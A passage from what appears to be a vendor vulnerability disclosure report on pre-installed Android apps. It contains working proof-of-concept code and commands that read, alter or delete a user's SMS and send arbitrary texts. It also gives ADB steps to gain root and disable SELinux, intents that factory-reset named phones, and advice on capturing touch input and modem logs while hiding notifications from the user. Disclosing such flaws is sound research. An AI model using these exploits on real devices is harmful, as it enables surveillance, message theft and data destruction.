vulnerabilities on the T-Mobile Revvl Plus although the source code to exploit the vulnerabilities on the other two devices are almost exactly the same except for a different package name and component names due to refactoring. The T-Mobile Revvl Plus contains a pre-installed app with a package name of com.rcs.gsma.na.sdk (versionCode=1, versionName=RCS_SDK_20170804_01). This app executes as the system user (a privileged user) and cannot be disabled by the end-user. This application appears to handle RCS on the device. This application has 7 content providers that are exported and not protected by a permission, which makes them accessible to any app co-located on the device. Content provider application components are not exported by default, but the developers of this app explicitly exported them. A content provider acts as a repository for structured data and supports the standard SQL operations. Some of these content providers in the com.rcs.gsma.na.sdk app act as a wrapper where they internally access and operate on a different content provider. A content provider is accessed using an authority string. There is a content provider with a class name of com.rcs.gsma.na.provider.message.MessageProvider with an authority string of com.rcs.gsma.na.provider.message. When the com.rcs.gsma.na.provider.message authority is queried, it will query the sms authority (e.g., content://sms) and return the user’s sent and received text messages. Each text message entry includes a timestamp, phone number, message body, flag for whether the user has seen the message or not, etc. The source code below will return a string containing all of the user’s sent and received text messages. An example output of this method is provided in Appendix D. Uri aUri = Uri.parse("content://com.rcs.gsma.na.provider.message"); ContentResolver cr = getContentResolver(); Cursor cursor = cr.query(aUri, null, null, null, null); String allData = ""; String temp = ""; if (cursor == null || cursor.getCount() == 0) return null; cursor.moveToFirst(); do { int columnCount = cursor.getColumnCount(); for(int id=0; id < cursor.getColumnCount(); id++) { int type = cursor.getType(id); if (type == 4) continue; temp = " " + cursor.getColumnName(id) + ":" + cursor.getString(id); 10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected] allData += temp; Log.d("Key-Value pair", temp); } allData += "\n"; } while(cursor.moveToNext()); return allData; The source code below will change the body of all the user’s sent and received text messages to the word “goodbye”. The content of individual messages can be modified by adding a where clause and selection arguments for a specific message id. ContentResolver cr = getContentResolver(); ContentValues cv = new ContentValues(); cv.put("body","goodbye"); cr.update(Uri.parse("content://com.rcs.gsma.na.provider.message"), cv, null, null); The source code below will delete all of the user’s text messages. ContentResolver cr = getContentResolver(); cr.delete(Uri.parse("content://com.rcs.gsma.na.provider.message"), null, null); The phone numbers of the user’s contacts can be obtained from the com.rcs.gsma.na.sdk app. This app has a content provider application component with a class name of com.rcs.gsma.na.provider.capability.CapabilityProvider with an authority string of com.rcs.gsma.na.provider.capability. The CapabilityProvider component acts as a wrapper to the content://com.android.contacts Uniform Resource Interface (URI). The output from querying the CapabilityProvider content provider is provided in Appendix E and is queried in the same way as querying for the user’s text messages (provided above). In the com.rcs.gsma.na.sdk app, there is a broadcast receiver application component with a fully- qualified class name of com.rcs.gsma.na.test.TestReceiver. This component is explicitly exported and allows a user to send a text message where the phone number and message can be chosen by the sender. This can be abused to send text messages to premium numbers or be used to send a distasteful message to all the user’s contacts. Intent i = new Intent("com.rcs.gsma.na.sdk.TestReceiver"); i.setClassName("com.rcs.gsma.na.sdk", "com.rcs.gsma.na.test.TestReceiver"); i.putExtra("type", 110); i.putExtra("number", "7035557777"); i.putExtra("isLarge", false); i.putExtra("value", "help?!?!?"); sendBroadcast(i); 7. Local Root Privilege Escalation via ADB We discovered two devices that allow the user to obtain root privileges by entering commands via ADB: Alcatel A30 and Leagoo P1. These two devices allow a user with physical access to the device to obtain a root shell on the device by allowing the shell user (ADB) to modify read-only properties at runtime. This undocumented feature goes against the standard Android security model. Recently, a Twitter user with the handle of Elliot Anderson discovered that certain OnePlus devices can obtain root access via ADB28. 28 https://www.xda-developers.com/oneplus-root-access-backdoor/ 10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected] Notably, the Alcatel A30 was an Amazon Prime exclusive device29. We will focus on the Alcatel A30 device, although the approach to obtain a root shell via ADB is the same for both devices: modify read-only properties at runtime and restart the ADB daemon so it executes as the root user. 7.1 Alcatel A30 – Root Privilege Escalation via ADB Allowing the modification of read-only properties at runtime allows either a user with physical access to the device or the vendor (specifically TCL Corporation) to execute commands as the root user. The properties of concern here are ro.debuggable and ro.secure. Notably, on the Alcatel A30 device, changing the ro.debuggable property to have a value of 1 will create a UNIX domain socket named factory_test that will execute the commands supplied to it as the root user. This behavior is not present on the Leagoo P1 device. This allows the vendor to execute commands as the root user if they change the value of the ro.debuggable property and use a process that has access to write to the factory_test socket in the /dev/socket directory, although we did not witness the behavior. Moreover, we verified that platform apps can change the ro.debuggable property at runtime. Alcatel should control the framework key since they are the vendor and have certain apps that are executing as the system user. In addition, they also control the SELinux rules to control which processes can interact with the factory_test socket. The end-user can also obtain root privileges by restarting ADB as root using certain commands via ADB. This allows a root shell via ADB to be obtained for command execution as the root user. At this point, root privileges can be used to obtain a permanent root privilege as opposed to a temporary one. Using root privileges, the private directories of apps, among others, can be examined and exfiltrated. For ADB to be able to execute commands as the root user, instead of the usual shell user, the ro.debuggable property needs to be set to a value of 1 and the ro.secure property needs to be set to a value of 0. At this point, the user can use the adb root command, which will restart the adbd process running as the root user. With root privileges, SELinux can be disabled to prevent the Mandatory Access Control (MAC) rules from preventing certain actions on the device using the setenforce 0 command. Below are the commands to enter using ADB to obtain a root shell. adb shell setprop ro.debuggable 1 adb shell setprop ro.secure 0 adb shell root adb shell setenforce 0 adb shell MICKEY6US:/ # id uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admi n),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc) context=u:r:shell:s0 Below is the factory_test UNIX domain socket in the /dev/socket directory from the Alcatel A30 device. MICKEY6US:/dev/socket # ls –al total 0 drwxr-xr-x 7 root root 760 2017-05-10 17:58 . drwxr-xr-x 15 root root 4220 2017-05-10 17:55 .. 29 https://www.theverge.com/circuitbreaker/2017/3/24/15042450/alcatel-a30-moto-g5-plus-amazon-prime-exclusive-phones- ad-lockscreen 10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected] srw-rw---- 1 system system 0 2017-05-10 17:58 adbd srw-rw---- 1 root inet 0 1970-11-08 00:12 cnd srw-rw---- 1 root mount 0 1970-11-08 00:12 cryptd srw-rw---- 1 root inet 0 1970-11-08 00:12 dnsproxyd srw-rw---- 1 root system 0 1970-11-08 00:12 dpmd srw-rw---- 1 system inet 0 2017-05-10 17:55 dpmwrapper srw-rw-rw- 1 root root 0 2017-05-10 17:58 factory_test On the Alcatel A30 device, the init.rc file contains the logic to start the /system/bin/factory_test binary once the ro.debuggable property is set to a value of 1. on property:ro.debuggable=1 start bt_wlan_daemon service bt_wlan_daemon /system/bin/factory_test user root group root oneshot seclabel u:r:bt_wlan_daemon:s0 7.2 Leagoo P1 – Root Privilege Escalation via ADB Similar behavior is also (except the factory_test socket) present on a Leagoo P1 device with a build fingerprint of sp7731c_1h10_32v4_bird:6.0/MRA58K/android.20170629.214736:user/release- keys. Below are the ADB commands, almost the same as the Alcatel A30 device, to obtain a root shell via ADB. The difference here is that SELinux does not need to be enabled since the the SELinux context granted to adb shell setprop ro.debuggable 1 adb shell setprop ro.secure 0 adb shell root adb shell t592_otd_p1:/ # id uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admi n),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc) context=u:r:su:s0 8. Programmatically Factory Resetting the Device A factory reset will wipe the data and cache partitions. This removes any apps the user has installed and any other user or app data that the user does not have backed up externally. An unintentional factory reset can present a major inconvenience due to potential for data loss. For an app to be able to directly factory reset a device, it requires that an app have the MASTER_CLEAR permission30. This permission is only granted to apps that are pre-installed. Therefore, a third-party app that the user downloads cannot perform a factory reset of the device directly. There is an exception for enabled Mobile Device Management (MDM) apps. A user can download an MDM app and then enable it as a device administrator through the Settings app. Prior to enabling the app as a device administrator, the user will be presented with its list of capabilities, which can include the “erase all data” capability. All of the vulnerabilities we found were due to an app privileged 30 https://developer.android.com/reference/android/Manifest.permission.html#MASTER_CLEAR 10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected] enough to perform a factory reset (i.e., apps that are granted the MASTER_CLEAR permission and platform apps) exposing an interface that, when called, will programmatically initiate a factory reset of the device. A privileged app can initiate a factory reset of the device by sending a broadcast intent with an action of android.intent.action.MASTER_CLEAR. The system_server process contains a broadcast receiver named com.android.server.MasterClearReceiver that, when it receives the MASTER_CLEAR action, will boot into recovery mode to format the data and cache partitions. This is generally accomplished by calling a method with a signature that is similar to the following method although the parameters can vary: android.os.RecoverySystem.rebootWipeUserData(*). This method writes content to a file with a path of /cache/recovery/command that contains at least the line of --wipe_data and boots into recovery mode. 8.1 T-Mobile Revvl Plus & T-Mobile Coolpad Defiant – Factory Reset The T-Mobile Revvl Plus device31 and the T-Mobile Coolpad Defiant32 have a pre-installed app with a package name of com.qualcomm.qti.telephony.extcarrierpack (versionCode=25, versionName=7.1.1). This app is privileged since it executes as the system user. This app contains a broadcast receiver application component with a fully qualified class name of com.qualcomm.qti.telephony.extcarrierpack.UiccReceiver. When the UiccReceiver component receives a broadcast intent with an action string of com.tmobile.oem.RESET, it will initiate and complete a programmatic factory reset by sending out a broadcast intent with an action string of android.intent.action.MASTER_CLEAR. This will cause the user to lose any data that they have not backed up or synced to an external location. The source code provided below will initiate a factory reset of the device. sendBroadcast(new Intent("com.tmobile.oem.RESET")); 8.2 Essential Phone – Factory Reset The vulnerability lies in an app with a package name of com.ts.android.hiddenmenu (versionName=1.0, platformBuildVersionName=8.1.0). This app is a platform app and executes as the system user. Generally, the MASTER_CLEAR permission33 is required to be able to send a broadcast intent with an action string of android.intent.action.MASTER_CLEAR broadcast intent, but the app has the capability as various powerful permissions are granted by default to platform apps. The com.ts.android.hiddenmenu app has an activity application component show below. <activity android:exported="true" android:label="@string/rtn" android:name="com.ts.android.hiddenmenu.rtn.RTNResetActivity" android:noHistory="true" android:screenOrientation="portrait" android:theme="@android:style/Theme.Dialog"/> The RTNResetActivity app component is explicitly exported, as it sets the android:exported attribute to a value of true. When an app component is exported, this allows any on the device to start this app component since there are no permission requirements (e.g., android:permission attribute) to access it. 31 https://www.t-mobile.com/devices/t-mobile-revvl-plus 32 https://support.t-mobile.com/community/phones-tablets-devices/android/coolpad-defiant 33 https://developer.android.com/reference/android/Manifest.permission.html#MASTER_CLEAR 10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected] Internally, the RTNResetActivity component starts other components where the com.ts.android.hiddenmenu.util.ResetActivity activity sends a broadcast intent with android.intent.action.MASTER_CLEAR. This will programmatically factory reset the device and potentially cause data loss. The source code below can be run to initiate a factory reset. Intent i = new Intent(); i.setClassName("com.ts.android.hiddenmenu", "com.ts.android.hiddenmenu.rtn.RTNResetActivity"); startActivity(i); Figure 2 shows the steps involved for a third-party to programmatically factory reset the Essential device. Figure 2. Programmatic Factory on the Essential Phone Device. 8.3 ZTE Zmax Champ – Factory Reset The pre-installed app that exposes the capability for a third-party app to factory reset the device has a package name of com.zte.zdm.sdm (versionCode=31, versionName=V5.0.3). This app executes as the system user. This app does not request the android.permission.MASTER_CLEAR permission in it AndroidManifest.xml file, although it will be automatically granted this permission since it is executing as the system user. The system user is a privileged user on the device and is granted a powerful block of permissions by default. One of these capabilities granted to the system user is to programmatically factory reset the device. The com.zte.zdm.sdm app has a statically declared broadcast receiver in its AndroidManifest.xml file with a name of com.zte.zdm.VdmcBroadcastReceiver that can handle broadcast intents with an action string of android.intent.action.DM_FATORY_RESET_TEST_BY_TOOL. The VdmcBroadcastReceiver component is exported, by default, and accessible to any app on the device, since it does not explicitly set the android:exported attribute a value to false, has at least one intent-filter declared, and is not protected by a custom or platform-defined permission. When a broadcast intent is sent with this action, the com.zte.zdm.MyCommand.bootCommand(String) method is called with a parameter of --wipe_data. This method will write a value of --wipe_data to a file with a path of /cache/recovery/command and then use the PowerManager to boot into recovery mode. Generally, a few additional lines are written in addition to the --wipe_data line, but these lines have been omitted from step 5 of Figure 2. This will 10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected] programmatically factory reset the device. The code to perform the aforementioned described behavior is below. The code is a single line and simply sends a broadcast intent with a specific action string. sendBroadcast(new Intent("android.intent.action.DM_FATORY_RESET_TEST_BY_TOOL")); 8.4 Leagoo Z5C – Factory Reset Any app on the device can send an intent to factory reset the device programmatically. This does not require any user interaction. In addition, the app initiating the factory reset does not require any permissions. A factory reset will remove all user data from the device. This will result in the loss of any data that the user has not backed up or synced externally. This capability to perform a factory reset is not directly available to third-party apps (those that the user installs themselves), although this capability is present in an unprotected application component of the com.android.settings app (versionCode=23, versionName=6.0-android.20170630.092853). This app has an exported broadcast receiver named com.sprd.settings.PhoneTrackCommandReceiver, and its declaration in the AndroidManifest.xml file is shown below. <receiver android:name="com.sprd.settings.PhoneTrackCommandReceiver"> <intent-filter> <action android:name="android.intent.action.phonetrack_masterclear"/> <action android:name="android.intent.action.phonetrack_setpassword"/> </intent-filter> </receiver> Internally, when the PhoneTrackCommandReceiver component receives a broadcast intent with an action string of android.intent.action.phonetrack_masterclear, it will send a broadcast intent with an action string of android.intent.action.MASTER_CLEAR, which initiates a programmatic factory reset of the device. The single source code line below will cause the Leagoo Z5C device to be perform a factory reset. 8.5 Leagoo P1 – Factory Reset The vulnerability lies in an app with a package name of com.wtk.factory (versionCode=1, versionName=1.0). This app executes as the system user as it is a platform app. Specifically, this app is signed with the platform key and sets the android:sharedUserId attribute to a value of android.uid.system in its AndroidManifest.xml file. This app also requests the MASTER_CLEAR permission, allowing it to perform a programmatic factory reset of the device. The com.wtk.factory app has a broadcast receiver application component declared in its AndroidManifest.xml file show below. <receiver android:name="com.wtk.factory.MMITestReceiver"> <intent-filter> <action android:name="com.mmi.helper.request"/> </intent-filter> </receiver> The MMITestReceiver app component sends a broadcast intent with android.intent.action.MASTER_CLEAR as the action string when it receives an intent sent to it using the source code below. 10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected] Intent i2 = new Intent(); i2.setAction("com.mmi.helper.request"); i2.setClassName("com.wtk.factory", "com.wtk.factory.MMITestReceiver"); i2.putExtra("type", "factory_reset"); i2.putExtra("value", "100"); sendBroadcast(i2); 8.6 Plum Compass – Factory Reset The vulnerability is contained in an app with a package name of com.android.settings (versionCode=23, versionName=6.0-eng.root.20161223.224055). This app is a platform app and executes as the system user. This app also requests the MASTER_CLEAR permission allowing it to perform a programmatic factory reset of the device. The com.android.settings app has a broadcast receiver application component show below. <receiver android:name="com.android.settings.FactoryReceiver"> <intent-filter> <action android:name="android.intent.action.factory"/> </intent-filter> </receiver> Internally, the FactoryReceiver component sends a broadcast intent with android.intent.action.MASTER_CLEAR as the action string when it receives an intent sent to it using the source code below. Intent i = new Intent(); i.setClassName("com.android.settings", "com.android.settings.FactoryReceiver"); sendBroadcast(i); 8.7 Orbic Wonder – Factory Reset The vulnerability lies in the core Android package (with a package name of android) which is a privileged part of the Android OS. This process runs as the system user. Within the android package, there is a broadcast receiver application component named com.android.server.MasterClearReceiver. When this component receives a broadcast intent addressed to it, it will programmatically initiate and complete a factory reset. The source code below will initiate a factory reset on the device. Please note that the action string of potatoes is not required, it just needs to be any non-empty string. Intent i2 = new Intent(); i2.setClassName("android", "com.android.server.MasterClearReceiver"); i2.setAction("potatoes"); sendBroadcast(i2); 8.8 MXQ TV Box 4.4.2 – Factory Reset Normally, sending a broadcast with an action string of android.intent.action.MASTER_CLEAR cannot be sent by a third-party app, but it can be sent by a third-party app on this device. This is due to the fact that the com.android.server.MasterClearReceiver app component in the system_server process is not directly registered in the core android package, and is instead registered dynamically and does not have the MASTER_CLEAR permission access requirement. This behavior is not present in 4.4.2 AOSP code. 10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected] sendBroadcast(new Intent ("android.intent.action.MASTER_CLEAR")); The programmatic factory reset will wipe all user data and any data that has not been backed up or synced to an external location will be lost. 9. Setting Properties as the com.android.phone User We discovered a pre-installed app on some devices that exposes the capability to set system properties as the com.android.phone user. This can be performed by any app on the device due to an exported service in the com.qualcomm.qti.modemtestmode app. This app executes as the system user. Appendix F provides the AndroidManifest.xml file for the com.qualcomm.qti.modemtestmode app from a Vivo V7 Android device. This app contains an explicitly exported service named MbnTestService that allows the caller to provide a key-value pair that it will write as a system property. This application is still bound by SELinux rules regarding its context and associated capabilities. Based on our testing, the com.qualcomm.qti.modemtestmode app can modify system properties that start with the persist. prefix (e.g., persist.sys.factory.mode). Vendors can introduce their own system properties that can alter the functionality of the device when a property is set to a certain value. The MbnTestService service is a bound service that provides an interface for clients to access. The bound service has a corresponding AIDL file that easily allows the client app to perform RPCs on the service. If a client app lacks the AIDL file, the client app can still interact with the bound service although they will have to perform low-level behavior that the AIDL file abstracts from the developer. The client will need to create and populate the Parcel object, provide the correct interface name, and call the correct function number on the interface. The source code to perform this behavior on the Vivo V7 is provided in Appendix G. We provide two examples, Vivo V7 and Coolpad Canvas, of how settings a system property can enable logging features on the device that would otherwise be unavailable to a third-party app. 9.1 Vivo V7 – Obtaining User Touch Input The Vivo V7 device contains the com.qualcomm.qti.modemtestmode (versionCode=25, versionName=7.1.2) app. This device has a build fingerprint of vivo/1718/1718:7.1.2/N2G47H/compil11021857:user/release-keys. A third-party app can modify certain system properties on the device. Specifically, setting the persist.sys.input.log key to a value of 1, will make the user’s screen touches be written to the logcat log by the InputDispatcher for all apps. Vivo V7 also contains a vulnerability to have a pre-installed app write the logcat logs to the SD card as detailed in Section 5.5. With some effort and knowledge of the device, an attacker can translate the coordinates to keyboard keypresses. This allows the attacker to determine the user keypresses on the keyboard, potentially exposing PII. The device will need to be rebooted in order for the system property to be read at boot time. A third-party app can quickly cause a system crash and reboot the Vivo V7 device by sending a broadcast intent with an action of intent.action.super_power_save_send. The system crash is due to inadequate null-checking at runtime and also a lack of exception handling in the system_sever process. 04-13 12:08:00.060 1422 1770 D InputDispatcher: Pointer 0: id=0, toolType=1, x=460.000000, y=1027.000000, pressure=0.023529, size=0.023529, touchMajor=6.000000, touchMinor=6.000000, toolMajor=6.000000, toolMinor=6.000000, orientation=0.000000 10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected] 04-13 12:08:00.060 1422 1770 D InputDispatcher: Pointer 1: id=1, toolType=1, x=166.000000, y=1282.000000, pressure=0.023529, size=0.023529, touchMajor=6.000000, touchMinor=6.000000, toolMajor=6.000000, toolMinor=6.000000, orientation=0.000000 04-13 12:08:00.060 1422 1770 D InputDispatcher: Pointer 2: id=2, toolType=1, x=268.000000, y=1070.000000, pressure=0.015686, size=0.015686, touchMajor=4.000000, touchMinor=4.000000, toolMajor=4.000000, toolMinor=4.000000, orientation=0.000000 9.2 Coolpad Canvas – Write Logcat log, Kernel log, and tcpdump Capture to the SD Card The Coolpad Canvas Android device34 is sold by Cricket Wireless and contains a vulnerable version of the com.qualcomm.qti.modemtestmode (versionCode=24, versionName=7.0) app, allowing third-party apps to change certain system properties (as explained in Section 9) . The build fingerprint of the device is Coolpad/cp3636a/cp3636a:7.0/NRD90M/093031423:user/release-keys. Setting a system property can enable logging features on the device that would otherwise be unavailable to a third-party app. Specifically, using the method described above, any app can set the persist.service.logr.enable property to a value of 1 to enable logging on the device. When this occurs, the device will start writing log files to a path of /sdcard/log. Below is a listing of the files created in the /sdcard/log directory. cp3636a:/sdcard/log $ ls -al total 1984 drwxrwx--x 2 root sdcard_rw 4096 2018-05-18 11:42 . drwxrwx--x 15 root sdcard_rw 4096 2018-05-18 01:30 .. -rw-rw---- 1 root sdcard_rw 632 2018-05-18 11:48 0518114248.crash.txt -rw-rw---- 1 root sdcard_rw 157544 2018-05-18 11:48 0518114248.events.txt -rw-rw---- 1 root sdcard_rw 241356 2018-05-18 11:48 0518114248.kernel.txt -rw-rw---- 1 root sdcard_rw 261513 2018-05-18 11:48 0518114248.main.txt -rw-rw---- 1 root sdcard_rw 65536 2018-05-18 11:47 0518114248.net.pcap -rw-rw---- 1 root sdcard_rw 11 2018-05-18 11:42 0518114248.qsee.txt -rw-rw---- 1 root sdcard_rw 244923 2018-05-18 11:48 0518114248.radio.txt -rw-rw---- 1 root sdcard_rw 28089 2018-05-18 11:48 0518114248.system.txt Five of the files correspond to the different log buffers (crash, events, radio, system, and main). These files are highlighted in orange. Android prevents third-party apps from reading directly from the system-wide logcat log since it tends to contain sensitive data. The kernel log is highlighted in purple. A network package capture (pcap) file is also highlighted in green. The qsee file, highlighted in blue contains a log for when logging starts. Therefore, any app with the READ_EXTERNAL_STORAGE permission can enable the logging to the SD card and read the log files. When the persist.service.logr.enable system property is set to a value of 1 when the device finishes booting, an app with a package name of com.yulong.logredirect (versionCode=20160622, versionName=5.25_20160622_01) will create a sticky notification. If the setting of the persist.service.logr.enable system property to a value of 1 happens after the boot process has completed, then notification will not be created by the com.yulong.logredirect app. Therefore, to keep the notification from appearing, the attacking app will have to set the persist.service.logr.enable system property to a value of 0 prior to the device being shut down or rebooted. To accomplish this the app needs to dynamically-register a broadcast receiver that listens for the action of android.intent.action.ACTION_SHUTDOWN. Once this broadcast is received, the app will use an already 34 https://www.cricketwireless.com/support/devices-and-accessories/coolpad-canvas-device-support/customer/device- support.html 10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected] existing object that extends the ServiceConnection interface to quickly interact with the MbnTestService bound service to quickly change the persist.service.logr.enable system property to a value of 0. Then when the device boots back up again, the notification will not be on and the attacking app can listen for various broadcast intents through a statically declared broadcast receiver app component in the attacking app’s AndroidManifest.xml file. This unburdens the attack app of also having to request the RECEIVE_BOOT_COMPLETED permission. For example, the app can statically register for the following broadcast actions: android.intent.action.SIM_STATE_CHANGED and org.codeaurora.intent.action.ACTION_NETWORK_SPECIFIER_SET. Interacting with the com.qualcomm.qti.modemtestmode app to change system properties is done in the same way as in Appendix G for the Vivo V7 device, although except the Coolpad Canvas device uses an interface token name of com.qualcomm.qti.modemtestmode.IMbnTestService instead of com.qualcomm.qti.modemtestmode.f that is used for the Vivo V7. Other than this, the code to interact with the bound services is the same where the attacking app provides the appropriate key-value pair to modify system properties. 9.3 Coolpad Canvas – Leaking Telephony Data to the Logcat Log Vulnerability The previous vulnerability (i.e., activating the logcat logs) allows any third-party app with the READ_EXTERNAL_STORAGE permission to read various log files including the logcat log. The standard Android Open Source Project (AOSP) code for the com.android.phone app does not write Short Message Service (SMS) messages to the Android log. The com.android.phone app writes the user’s sent text messages to the logcat log. 05-18 16:33:19.165 1735 2120 E mzq : table =smsvalues =address=(703) 555-1234 creator=com.android.mms thread_id=1 sub_id=1 read=1 date=1526675599134 body=huba subject=null priority=-1 type=6 The system_server process writes the outgoing calls to the logcat log. 05-18 16:38:53.565 1173 1173 I Telecom : Class: processOutgoingCallIntent handle = tel:1%20800-864-8331,scheme = tel, uriString = 1 800-864-8331, isSkipSchemaParsing = false, isAddParticipant = false: PCR.oR@AJU 10. ZTE Devices – Dump Modem Logs and Logcat Logs to the SD Card We discovered a vulnerability allows any third-party app on the device to activate the writing of the modem and logcat logs to the SD card. This vulnerability has been present on each ZTE device we have examined with all of them were sold by US carriers. Specifically, the devices and their build fingerprints are provided below. Verizon ZTE Blade Vantage - ZTE/Z839/sweet:7.1.1/NMF26V/20180120.095344:user/release-keys AT&T ZTE Blade Spark - ZTE/Z971/peony:7.1.1/NMF26V/20171129.143111:user/release-keys T-Mobile ZTE Zmax Pro - ZTE/P895T20/urd:6.0.1/MMB29M/20170418.114928:user/release-keys Total Wireless ZTE Zmax Champ - ZTE/Z917VL/fortune:6.0.1/MMB29M/20170327.120922:user/release-keys 10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected] This vulnerability allows any app co-located on the device to use another app’s capabilities to obtain sensitive data that the initiating app itself lacks permission to access. An app using this vulnerability to monitor the user’s telephony behavior will require the READ_EXTERNAL_STORAGE permission. This permission allows an app to read from the device’s external storage (SD card). If the monitoring of the modem logs is to continue for an extended period of time, the attacking app should also periodically delete the logs since the aggregate size of the modem log files can start to fill up external storage. When this occurs, the user may notice a notification that indicates that the log files are taking up too much space external storage. To avoid this notification, the attacking app needs to delete old modem log files to ensure that adequate space remains so as to not potentially alert the user via a notification. The com.android.modem.service.ISdlogService interface (explained later) conveniently provides the deleteAllLog() method, so the attacking app does not need to request the WRITE_EXTERNAL_STORAGE permission. In any case, the app facilitating the modem logging functionality ,com.android.modem.service (versionCode=25, versionName=7.1.1), cannot be disabled by the user. If the modem logs themselves or a file containing only parsed data from them is to be exfiltrated from the device, the attacking app should also request the INTERNET permission. The modem logs will be written to a base directory of /sdcard/sd_logs. A concrete file path of a modem log is /sdcard/sd_logs/sdlog_09_11_24_58.qmdl.gz. This file is a Qualcomm Extensible Monitor Log file that has been compressed using gzip. The modem log contains the raw SMS Protocol Data Units (PDUs) for sent and received text messages, including the message body, timestamp, and telephone number. In addition, the modem log contains the phone numbers for placed and received phone calls. The subsections below will be described used the ZTE Blade Vantage, although the process is the same for all ZTE devices we have examined. 10.1 ZTE – Obtaining the Modem Log Vulnerability Details The Android OS contains a service manager that allows apps to obtain a reference to the available services on the device. The service manager resides within the system_server process. The system_server process is a critical OS process that provides necessary services to apps on the device. Apps that execute as the system user (the same user that system_server uses) have the ability to register services with the OS service manager and make them available to other apps on the device. The ZTE Blade Vantage contains a pre-installed platform app with a package name of com.android.modem.service (versionCode=25, versionName=7.1.1) that executes as the system user and registers a service named ModemService. The com.android.modem.service.ModemService class within the com.android.modem.service package explicitly registers itself with an interface class of com.android.modem.service.IModemService$Stub to the Android OS service manager. The com.android.modem.service.IModemService$Stub is provided to the Android OS service manager so that other apps can obtain a reference to this interface and use the service. Method calls on this interface will be delivered to the com.android.modem.service.ModemService class within the com.android.modem.service package. The com.android.modem.service.ModemService class itself acts as a mini service manager for services it offers within its own app (com.android.modem.service). Specifically, the IModemService interface contains 5 methods that can be called where each returns a service interface. Their method signatures are provided below, showing the method name and the service interface they return. getAdbLogInterface() returns com.android.modem.service.ILogService getAssistantInterface() returns com.android.modem.service.IAssistantService getModemInterface() returns com.android.modem.service.IModem 10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected] getModemRegistryInterface() returns com.android.modem.service.IModemRegistry getSdlogInterface() returns com.android.modem.service.ISdlogService The attacking app first obtains a reference to the service named ModemService using Java reflection from the Android OS service manager. This retrieved service has an interface named com.android.modem.service.IModemService. Using the IModemService reference, the attacking app can call the getSdlogInterface() method exported by the IModemService interface. The getSdlogInterface() method returns another interface named com.android.modem.service.ISdlogService. Method calls made to com.android.modem.service.ISdlogService interface will be delivered to the com.android.modem.service.SdlogService class. The com.android.modem.service.ISdlogService interface contains a large number of methods for controlling the operation of the modem logging capability. In regard to making the device write the modem logs to the SD card, the following methods on the com.android.modem.service.ISdlogService interface are called in the following order: configSdlog(), enableLog(), and startLog(). At this point, the device will start writing the modem logs to a base directory with a path of /sdcard/sd_logs. Any app on the device that has permission to access the SD card, can process and parse the compressed qmdl files for the user’s telephony data. This binary file can be viewed in Qualcomm eXtensible Diagnostic Monitor Professional (QXDM Pro) or the binary qmdl file can be parsed directly for the user’s text messages and call data. Below are byte sequences in PDU format for a sent text message and a received text message, as well as a placed and received call. The PoC source code to enable the modem logs is provided in Appendix H. The PoC code needs to be coded into an Android app and executed on the ZTE device with an active SIM (Subscriber Identity Module) card. The examples below show the hexdump output of a binary qmdl file from ZTE where the text message PDUs and call data have been identified. Sent text message to the phone number 7035758208 with a message of “Test. Can you text me back?” 00e89b60 e0 00 01 09 05 00 07 63 33 59 01 30 00 06 00 07 |.......c3Y.0....| 00e89b70 91 31 21 13 94 18 f0 24 01 01 0a 81 07 53 57 28 |.1!....$....E..!| 00e89b80 80 00 00 1b d4 f2 9c ee 02 0d c3 6e 50 fe 5d 07 |`..........nP.].| 00e89b90 d1 cb 78 3a a8 5d 06 89 c3 e3 f5 0f 33 6a 7e 92 |..x:.]......3j~.| The PDU starts at the address 0x00e89b6f with a single byte with hex value of 0x07 and ends at 0x00e89b90 with the end of the message body. The text message body is in 7-bit packed encoding and the destination number is in decimal semi-octets. The number of the sender starts at address 0x00e89b7c and ends at 0x00e89b80 and is in reverse order (i.e., 07 becomes 70). The text message body starts at address 0x00e89b80 and ends at 0x00e89b90. The message “Test. Can you text me back?” converts to d4f29cee020dc36e50fe5d07d1cb783aa85d0689c3e3f50f in 7-bit packed encoding. Received text message from the phone number 7035758208 with a message of “Sucka” 019928b0 29 00 09 01 25 01 e0 07 91 21 04 44 29 61 f6 00 |)...%....!.D)a..| 019928c0 19 04 0b 91 71 30 75 85 02 f8 00 00 81 30 11 51 |....Q.x......0.Q| 019928d0 40 34 69 06 d3 fa 78 1d 06 01 00 1b 22 7e 79 00 |@4i...x....."~y.| The PDU starts at the address 0x019928b7 with a single byte with hex value of 0x07 and ends at 0x019928d8 with the end of the message body. The text message body is in 7-bit packed encoding and the sending number is in decimal semi-octets. The number of the sender starts at address 0x019928c4 and ends at 0x019928c8. The text message body starts at address 0x019928d4 and ends at 0x019928d8. The message “Sucka” converts to d3fa781d06 in 7-bit packed encoding. The text message also contains a timestamp 10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected] where that starts at 0x019928c0c and ends at 0x019928d0. This hex value of 813011514034 converts to 3:04:43pm on March 11, 2018. Received call from the phone number 7034227613 03d3eda0 10 